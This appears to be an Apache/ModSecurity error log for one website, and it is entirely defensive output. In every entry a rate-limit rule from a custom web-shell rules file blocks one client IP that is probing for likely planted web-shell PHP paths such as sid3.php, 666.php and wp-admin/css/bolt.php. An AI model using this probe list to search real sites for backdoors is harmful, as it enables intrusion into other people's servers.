[Fri Apr 10 23:56:36.007549 2026] [:error] [pid 13101:tid 13148] [client 20.251.194.172:47086] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sid3.php"] [unique_id "adkdtN8Ldw85818pj2ouLgAAAI8"]
[Fri Apr 10 23:56:36.608015 2026] [:error] [pid 63134:tid 63143] [client 20.251.194.172:47413] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sid3.php"] [unique_id "adkdtNFALqPDwWi6eJLS3wAAA8Y"]
[Fri Apr 10 23:56:37.148269 2026] [:error] [pid 62819:tid 62828] [client 20.251.194.172:25656] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/666.php"] [unique_id "adkdtfU20EyPf7NlsleLfwAAAoY"]
[Fri Apr 10 23:56:37.803373 2026] [:error] [pid 63134:tid 63141] [client 20.251.194.172:46803] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/666.php"] [unique_id "adkdtdFALqPDwWi6eJLS4QAAA8Q"]
[Fri Apr 10 23:56:38.437468 2026] [:error] [pid 63134:tid 63158] [client 20.251.194.172:56739] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/666.php"] [unique_id "adkdttFALqPDwWi6eJLS5AAAA9U"]
[Fri Apr 10 23:56:39.244999 2026] [:error] [pid 63134:tid 63139] [client 20.251.194.172:36252] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/666.php"] [unique_id "adkdt9FALqPDwWi6eJLS6QAAA8I"]
[Fri Apr 10 23:56:39.814845 2026] [:error] [pid 13101:tid 13146] [client 20.251.194.172:47087] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xxw.php"] [unique_id "adkdt98Ldw85818pj2ouNwAAAI0"]
[Fri Apr 10 23:56:40.403608 2026] [:error] [pid 63062:tid 63076] [client 20.251.194.172:63816] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xxw.php"] [unique_id "adkduJ2HtsmV85NqkMcYwwAAA4w"]
[Fri Apr 10 23:56:41.137563 2026] [:error] [pid 13189:tid 13195] [client 20.251.194.172:30386] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xxw.php"] [unique_id "adkduZAxiJKPums3eBAeSQAAAEM"]
[Fri Apr 10 23:56:41.705821 2026] [:error] [pid 63062:tid 63083] [client 20.251.194.172:36230] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xxw.php"] [unique_id "adkduZ2HtsmV85NqkMcYyQAAA5M"]
[Fri Apr 10 23:56:42.349525 2026] [:error] [pid 62884:tid 62907] [client 20.251.194.172:56760] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-png.php"] [unique_id "adkduuUCK1xrhnnmpo2fkAAAAtA"]
[Fri Apr 10 23:56:43.324621 2026] [:error] [pid 62884:tid 62900] [client 20.251.194.172:37618] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-png.php"] [unique_id "adkdu-UCK1xrhnnmpo2flgAAAsk"]
[Fri Apr 10 23:56:44.486958 2026] [:error] [pid 13101:tid 13151] [client 20.251.194.172:14607] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-png.php"] [unique_id "adkdvN8Ldw85818pj2ouPwAAAJI"]
[Fri Apr 10 23:56:45.279315 2026] [:error] [pid 13189:tid 13214] [client 20.251.194.172:47062] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-png.php"] [unique_id "adkdvZAxiJKPums3eBAeWgAAAFY"]
[Fri Apr 10 23:56:46.415935 2026] [:error] [pid 62710:tid 62724] [client 20.251.194.172:14654] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/222.php"] [unique_id "adkdvuME7qrf5xEWWJtRdgAAAgs"]
[Fri Apr 10 23:56:47.369827 2026] [:error] [pid 13100:tid 13127] [client 20.251.194.172:25741] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/222.php"] [unique_id "adkdv1zg-ZkZ0InWIP3WnwAAARY"]
[Fri Apr 10 23:56:48.601581 2026] [:error] [pid 13101:tid 13136] [client 20.251.194.172:37603] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/222.php"] [unique_id "adkdwN8Ldw85818pj2ouRAAAAIM"]
[Fri Apr 10 23:56:50.683550 2026] [:error] [pid 13100:tid 13106] [client 20.251.194.172:37584] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/222.php"] [unique_id "adkdwlzg-ZkZ0InWIP3WpwAAAQE"]
[Fri Apr 10 23:56:52.056621 2026] [:error] [pid 13101:tid 13152] [client 20.251.194.172:56799] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-blog.php"] [unique_id "adkdxN8Ldw85818pj2ouTgAAAJM"]
[Fri Apr 10 23:56:52.792830 2026] [:error] [pid 13101:tid 13134] [client 20.251.194.172:18015] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-blog.php"] [unique_id "adkdxN8Ldw85818pj2ouVAAAAIE"]
[Fri Apr 10 23:56:53.741041 2026] [:error] [pid 13101:tid 13152] [client 20.251.194.172:31975] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-blog.php"] [unique_id "adkdxd8Ldw85818pj2ouXAAAAJM"]
[Fri Apr 10 23:56:54.800627 2026] [:error] [pid 62710:tid 62719] [client 20.251.194.172:18245] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-blog.php"] [unique_id "adkdxuME7qrf5xEWWJtRhwAAAgY"]
[Fri Apr 10 23:56:55.802460 2026] [:error] [pid 62884:tid 62906] [client 20.251.194.172:37591] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "adkdx-UCK1xrhnnmpo2foAAAAs8"]
[Fri Apr 10 23:56:56.624847 2026] [:error] [pid 62884:tid 62909] [client 20.251.194.172:30358] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "adkdyOUCK1xrhnnmpo2fpAAAAtI"]
[Fri Apr 10 23:56:57.724550 2026] [:error] [pid 62769:tid 62793] [client 20.251.194.172:46827] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "adkdycWsSnfLoB8ifjDcQAAAAlY"]
[Fri Apr 10 23:56:59.209361 2026] [:error] [pid 13189:tid 13193] [client 20.251.194.172:46841] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "adkdy5AxiJKPums3eBAeZQAAAEE"]
[Fri Apr 10 23:57:00.377064 2026] [:error] [pid 62769:tid 62775] [client 20.251.194.172:56775] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lib.php"] [unique_id "adkdzMWsSnfLoB8ifjDcTgAAAkQ"]
[Fri Apr 10 23:57:01.065086 2026] [:error] [pid 62769:tid 62790] [client 20.251.194.172:25764] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lib.php"] [unique_id "adkdzcWsSnfLoB8ifjDcUgAAAlM"]
[Fri Apr 10 23:57:01.636007 2026] [:error] [pid 13101:tid 13157] [client 20.251.194.172:56829] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lib.php"] [unique_id "adkdzd8Ldw85818pj2ouZgAAAJg"]
[Fri Apr 10 23:57:02.209442 2026] [:error] [pid 13189:tid 13197] [client 20.251.194.172:25764] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lib.php"] [unique_id "adkdzpAxiJKPums3eBAebgAAAEU"]
[Fri Apr 10 23:57:02.848312 2026] [:error] [pid 13100:tid 13114] [client 20.251.194.172:18240] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/edit.php"] [unique_id "adkdzlzg-ZkZ0InWIP3WxgAAAQk"]
[Fri Apr 10 23:57:03.420160 2026] [:error] [pid 63134:tid 63155] [client 20.251.194.172:46826] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/edit.php"] [unique_id "adkdz9FALqPDwWi6eJLTBAAAA9I"]
[Fri Apr 10 23:57:04.123953 2026] [:error] [pid 13101:tid 13155] [client 20.251.194.172:56814] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/edit.php"] [unique_id "adkd0N8Ldw85818pj2oubQAAAJY"]
[Fri Apr 10 23:57:04.795506 2026] [:error] [pid 13189:tid 13195] [client 20.251.194.172:37612] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/edit.php"] [unique_id "adkd0JAxiJKPums3eBAeegAAAEM"]
[Fri Apr 10 23:57:05.592152 2026] [:error] [pid 63062:tid 63085] [client 20.251.194.172:18302] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ioxi-o.php"] [unique_id "adkd0Z2HtsmV85NqkMcY3gAAA5U"]
[Fri Apr 10 23:57:06.145070 2026] [:error] [pid 13101:tid 13133] [client 20.251.194.172:47047] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ioxi-o.php"] [unique_id "adkd0t8Ldw85818pj2oudQAAAIA"]
[Fri Apr 10 23:57:06.747623 2026] [:error] [pid 13189:tid 13206] [client 20.251.194.172:37620] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ioxi-o.php"] [unique_id "adkd0pAxiJKPums3eBAegwAAAE4"]
[Fri Apr 10 23:57:07.353999 2026] [:error] [pid 62819:tid 62832] [client 20.251.194.172:37573] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ioxi-o.php"] [unique_id "adkd0_U20EyPf7NlsleLmAAAAoo"]
[Fri Apr 10 23:57:08.155555 2026] [:error] [pid 13189:tid 13206] [client 20.251.194.172:37625] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ajax.php"] [unique_id "adkd1JAxiJKPums3eBAekgAAAE4"]
[Fri Apr 10 23:57:09.003250 2026] [:error] [pid 13101:tid 13145] [client 20.251.194.172:56709] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ajax.php"] [unique_id "adkd1d8Ldw85818pj2ouegAAAIw"]
[Fri Apr 10 23:57:09.750908 2026] [:error] [pid 62651:tid 62653] [client 20.251.194.172:18254] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ajax.php"] [unique_id "adkd1TbAH0le57SIaqw-SAAAAcA"]
[Fri Apr 10 23:57:10.528408 2026] [:error] [pid 63062:tid 63067] [client 20.251.194.172:18251] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ajax.php"] [unique_id "adkd1p2HtsmV85NqkMcY6gAAA4M"]
[Fri Apr 10 23:57:11.435893 2026] [:error] [pid 13101:tid 13143] [client 20.251.194.172:56765] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/install.php"] [unique_id "adkd198Ldw85818pj2oufwAAAIo"]
[Fri Apr 10 23:57:11.963842 2026] [:error] [pid 13101:tid 13150] [client 20.251.194.172:56738] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/install.php"] [unique_id "adkd198Ldw85818pj2ouggAAAJE"]
[Fri Apr 10 23:57:12.538951 2026] [:error] [pid 62769:tid 62792] [client 20.251.194.172:56779] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/install.php"] [unique_id "adkd2MWsSnfLoB8ifjDcXAAAAlU"]
[Fri Apr 10 23:57:13.101853 2026] [:error] [pid 13189:tid 13199] [client 20.251.194.172:14621] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/install.php"] [unique_id "adkd2ZAxiJKPums3eBAepQAAAEc"]
[Fri Apr 10 23:57:13.706069 2026] [:error] [pid 62769:tid 62786] [client 20.251.194.172:46814] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/public/wp-blog.php"] [unique_id "adkd2cWsSnfLoB8ifjDcYwAAAk8"]
[Fri Apr 10 23:57:14.255157 2026] [:error] [pid 63134:tid 63143] [client 20.251.194.172:47074] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/public/wp-blog.php"] [unique_id "adkd2tFALqPDwWi6eJLTHQAAA8Y"]
[Fri Apr 10 23:57:14.787642 2026] [:error] [pid 13101:tid 13142] [client 20.251.194.172:25663] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/public/wp-blog.php"] [unique_id "adkd2t8Ldw85818pj2oukQAAAIk"]
[Fri Apr 10 23:57:15.487845 2026] [:error] [pid 13189:tid 13196] [client 20.251.194.172:25754] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/public/wp-blog.php"] [unique_id "adkd25AxiJKPums3eBAetQAAAEQ"]
[Fri Apr 10 23:57:16.054416 2026] [:error] [pid 62769:tid 62789] [client 20.251.194.172:56785] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/nw.php"] [unique_id "adkd3MWsSnfLoB8ifjDcbAAAAlI"]
[Fri Apr 10 23:57:16.720653 2026] [:error] [pid 62769:tid 62785] [client 20.251.194.172:37590] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/nw.php"] [unique_id "adkd3MWsSnfLoB8ifjDccwAAAk4"]
[Fri Apr 10 23:57:17.277471 2026] [:error] [pid 62769:tid 62784] [client 20.251.194.172:36249] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/nw.php"] [unique_id "adkd3cWsSnfLoB8ifjDcdgAAAk0"]
[Fri Apr 10 23:57:18.111872 2026] [:error] [pid 62769:tid 62794] [client 20.251.194.172:18040] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/nw.php"] [unique_id "adkd3sWsSnfLoB8ifjDceQAAAlc"]
[Fri Apr 10 23:57:19.203700 2026] [:error] [pid 13101:tid 13136] [client 20.251.194.172:18042] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tool.php"] [unique_id "adkd398Ldw85818pj2oupAAAAIM"]
[Fri Apr 10 23:57:19.948829 2026] [:error] [pid 62769:tid 62771] [client 20.251.194.172:37605] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tool.php"] [unique_id "adkd38WsSnfLoB8ifjDcggAAAkA"]
[Fri Apr 10 23:57:20.813941 2026] [:error] [pid 63062:tid 63086] [client 20.251.194.172:14604] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tool.php"] [unique_id "adkd4J2HtsmV85NqkMcY8AAAA5Y"]
